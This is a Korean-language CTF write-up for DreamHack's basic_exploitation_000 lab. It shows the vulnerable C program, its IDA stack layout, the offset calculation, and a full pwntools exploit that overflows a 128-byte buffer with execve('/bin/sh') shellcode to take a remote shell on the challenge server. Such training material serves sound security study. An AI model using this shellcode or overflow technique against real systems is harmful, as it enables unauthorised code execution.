[DreamHack] basic_exploitation_000

```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)₩n", buf);
    scanf("%141s", buf);

    return 0;
}
```

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-80h]

  initialize();
  printf("buf = (%p)\n", &v4);
  __isoc99_scanf("%141s", &v4);
  return 0;
}
```

```
-00000080 ; D/A/*   : change type (data/ascii/array)
-00000080 ; N       : rename
-00000080 ; U       : undefine
-00000080 ; Use data definition commands to create local variables and function arguments.
-00000080 ; Two special fields " r" and " s" represent return address and saved registers.
-00000080 ; Frame size: 80; Saved regs: 4; Purge: 0
-00000080 ;
-00000080
-00000080 var_80          db ?
-0000007F                 db ? ; undefined
-0000007E                 db ? ; undefined

-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?
+0000000C argv            dd ?                    ; offset
+00000010 envp            dd ?                    ; offset
+00000014
```

소스코드와 아이다로 분석한 사진은 위와 같다. initialize함수는 시간 제한을 걸어둘 뿐이라 크게 신경 쓸 필요는 없고 어떻게 공격하면 좋을 지 살펴봤다.

Buf 변수가 0x80바이트 즉 128바이트만큼 할당된다. 그리고 printf함수에서 buf변수의 주소가 프린트 된다. scanf함수로 141바이트만큼 입력받으니 버퍼오버플로우 취약점이 발생한다.

별다른 쉘을 따는 함수가 없으니 buf변수에 쉘코드를 입력하고 buf 주소로 오게끔 만들면 쉘을 딸 수 있다.

Buf 주소로 오게 만들려면 scanf함수 실행 후 main으로 돌아올 때 ret 주소에 buf 주소를 넣으면 된다.

아이다의 설명을 보면 r이라고 되어있는 곳이 리턴 주소다. 즉 buf에서 r까지 얼마만큼

떨어져 있나 계산 후 buf에 쉘코드 + 떨어진 바이트수 + buf의 주소값 순서로 입력해서 r에 buf주소를 덧씌우면 된다.

떨어진 거리는 128바이트 + 4바이트 총 132바이트가 된다.

내가 쓴 쉘코드는 26바이트이므로 빈 칸은 106바이트만큼이라 이 공간을 채워줬다.

익스플로잇 코드는 파이썬 pwntools라이브러리를 활용한다.

```
from pwn import *

r = remote("host1.dreamhack.games", 12089)

r.recvuntil("buf = (")

buf_addr = int(r.recv(10), 16)

code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*106
code += p32(buf_addr)

r.send(code)

r.interactive()
```

처음에 쉘코드와 A를 더하고 리틀 엔디안 방식으로 buf주소를 더할 때 오류가 발생했는데 p32()로 리턴되는 값은 바이트인데 앞에 입력한 것들은 문자열이라 더할 수 없다는 말이었다. 그래서 각 문자열 앞에 b를 붙여줘서 바이트형태로 바꿔주니 오류가 나지 않았다.